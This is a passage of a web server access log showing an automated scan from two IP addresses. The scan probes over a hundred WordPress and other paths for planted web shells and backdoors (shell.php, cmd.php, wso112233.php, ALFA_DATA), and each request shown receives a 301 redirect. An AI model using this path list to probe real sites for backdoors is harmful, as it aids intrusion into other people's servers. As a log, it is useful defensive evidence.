/wp-includes/function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:20:09 -0400] "GET /wp-content/themes/travelscape/json.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:20:09 -0400] "GET /saka.phP7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:20:09 -0400] "GET /wp-admin/css/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:09 -0400] "GET /wp-includes/IXR/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:20:09 -0400] "GET /.well-known/acme-challenge/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:09 -0400] "GET /adminfuns.php7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:10 -0400] "GET /wp-admin/themes.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.88.19.87 - - [23/Apr/2025:03:20:10 -0400] "GET /update/wpup.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:10 -0400] "GET /.well-known/acme-challenge/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:10 -0400] "GET /wp-admin/js/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 149.88.19.87 - - [23/Apr/2025:03:20:10 -0400] "GET /pgs.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.85 - - [23/Apr/2025:03:20:10 -0400] "GET /admin/function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:10 -0400] "GET /alfanew2.php7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:10 -0400] "GET /wp-content/themes/seotheme/mar.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 149.88.19.87 - - [23/Apr/2025:03:20:10 -0400] "GET /wp-admin/network/word.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 149.88.19.85 - - [23/Apr/2025:03:20:10 -0400] "GET /wp-content/themes/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 149.88.19.87 - - [23/Apr/2025:03:20:10 -0400] "GET /1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:10 -0400] "GET /1index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:10 -0400] "GET /ioxi002.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 149.88.19.87 - - [23/Apr/2025:03:20:10 -0400] "GET /wp-admin/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:20:10 -0400] "GET /wp-content/uploads/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:10 -0400] "GET /images/neko.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:10 -0400] "GET /wp-content/plugins/wp-daft/miin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 149.88.19.87 - - [23/Apr/2025:03:20:10 -0400] "GET /ioxi002.PhP7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:20:10 -0400] "GET /extracte_wordprees/dirfunc/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 149.88.19.85 - - [23/Apr/2025:03:20:10 -0400] "GET /wp-admin/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:11 -0400] "GET /wp-content/themes/aahana/json.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:11 -0400] "GET /wp-admin/user/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 149.88.19.87 - - [23/Apr/2025:03:20:11 -0400] "GET /pgs.phP7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:11 -0400] "GET /wp-includes/fonts/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:11 -0400] "GET /wp-content/style-css.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:20:11 -0400] "GET /wp-admih.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:20:11 -0400] "GET /.well-known/pki-validation/.qiodetme.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:20:11 -0400] "GET /crack.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 149.88.19.87 - - [23/Apr/2025:03:20:11 -0400] "GET /shell20211028.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:11 -0400] "GET /indec.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:11 -0400] "GET /wp-includes/SimplePie/test.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 149.88.19.85 - - [23/Apr/2025:03:20:11 -0400] "GET /makeasmtp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:11 -0400] "GET /wp-content/plugins/shell/noimg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:11 -0400] "GET /wp-includes/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.85 - - [23/Apr/2025:03:20:11 -0400] "GET /hjk.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.87 - - [23/Apr/2025:03:20:11 -0400] "GET /wp-includes/sitemaps/providers/ultra.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.87 - - [23/Apr/2025:03:20:11 -0400] "GET /mjq.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:11 -0400] "GET /.well-known/acme-challenge/mariju.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:20:11 -0400] "GET /wp-content/444.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:20:11 -0400] "GET /land.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:11 -0400] "GET /mail.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:11 -0400] "GET /content.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:11 -0400] "GET /bb.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.88.19.87 - - [23/Apr/2025:03:20:11 -0400] "GET /wp-content/choosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 149.88.19.87 - - [23/Apr/2025:03:20:11 -0400] "GET /sx.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:20:11 -0400] "GET /wp-edit.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:11 -0400] "GET /hobi.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:20:11 -0400] "GET /wp-content/themes/seotheme/db.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:11 -0400] "GET /2.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:11 -0400] "GET /readme.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:11 -0400] "GET /wp-content/shell.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 149.88.19.87 - - [23/Apr/2025:03:20:11 -0400] "GET /wp-includes/SimplePie/gzdecode.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:20:11 -0400] "GET /ac.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:12 -0400] "GET /wp-content/plugins/Core-Econ/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:20:12 -0400] "GET /wp-admin/maint/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 149.88.19.87 - - [23/Apr/2025:03:20:12 -0400] "GET /wp-includes/js/upload.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:20:12 -0400] "GET /wp-content/laiksw.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 149.88.19.87 - - [23/Apr/2025:03:20:12 -0400] "GET /litespeed.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:12 -0400] "GET /wp-admin/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:20:12 -0400] "GET /w.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:12 -0400] "GET /x7.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 149.88.19.87 - - [23/Apr/2025:03:20:12 -0400] "GET /bypass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:20:12 -0400] "GET /wp-admin/admin-ajax.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:12 -0400] "GET /wp-apxupx.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:12 -0400] "GET /images/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:20:12 -0400] "GET /inc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:20:12 -0400] "GET /wp-admin/network/abuot.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 149.88.19.85 - - [23/Apr/2025:03:20:13 -0400] "GET /wp-includes/js/plupload/jquery.Jcrop.min.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:13 -0400] "GET /wp-includes/IXR/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:13 -0400] "GET /components/com_joomdle/assets/upload.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 149.88.19.87 - - [23/Apr/2025:03:20:13 -0400] "GET /.qiodeme.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 149.88.19.87 - - [23/Apr/2025:03:20:13 -0400] "GET /wp-content/plugins/ioptimization/IOptimize.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 149.88.19.87 - - [23/Apr/2025:03:20:13 -0400] "GET /wp-trackback.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 149.88.19.87 - - [23/Apr/2025:03:20:13 -0400] "GET /.well-known/wso112233.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 149.88.19.87 - - [23/Apr/2025:03:20:13 -0400] "GET /cmd.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:13 -0400] "GET /ad.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:13 -0400] "GET /gu.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 149.88.19.85 - - [23/Apr/2025:03:20:13 -0400] "GET /wp-content/uploads/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:13 -0400] "GET /ALFA_DATA/alfacgiapi/all.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:13 -0400] "GET /cgi-bin/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 149.88.19.87 - - [23/Apr/2025:03:20:13 -0400] "GET /upload_shell.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:20:13 -0400] "GET /wp-content/plugins/pwnd/pwnd.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.85 - - [23/Apr/2025:03:20:13 -0400] "GET /wp-admin/classwithtostring.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:20:13 -0400] "GET /wp-admin/css/colors/content.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:13 -0400] "GET /wp-conf.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:20:13 -0400] "GET /FoxWSOv1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:20:14 -0400] "GET /wp-admin/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:14 -0400] "GET /Patrick.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:14 -0400] "GET /wp-includes/js/plupload/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:14 -0400] "GET /var/www/html/shell.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:14 -0400] "GET /wp-content/upgrade/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:14 -0400] "GET /file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:14 -0400] "GET /edit.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.87 - - [23/Apr/2025:03:20:14 -0400] "GET /df.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:14 -0400] "GET /uploads/shell.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:14 -0400] "GET /wp-uploads-config.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:20:14 -0400] "GET /wp-admin/css/about.php7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:14 -0400] "GET /modules/karakaroa/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:14 -0400] "GET /wp-includes/wp-atom.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:20:14 -0400] "GET /wp-admin/includes/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 149.88.19.87 - - [23/Apr/2025:03:20:14 -0400] "GET /bs1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:14 -0400] "GET /files/shell.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:14 -0400] "GET /jindex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:14 -0400] "GET /.well-known/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.88.19.85 - - [23/Apr/2025:03:20:14 -0400] "GET /.well-known/acme-challenge/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:20:14 -0400] "GET /wp-includes/images/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 149.88.19.87 - - [23/Apr/2025:03:20:15 -0400] "GET /cgi-bin/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:20:15 -0400] "GET /install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:15 -0400] "GET /abuot.php 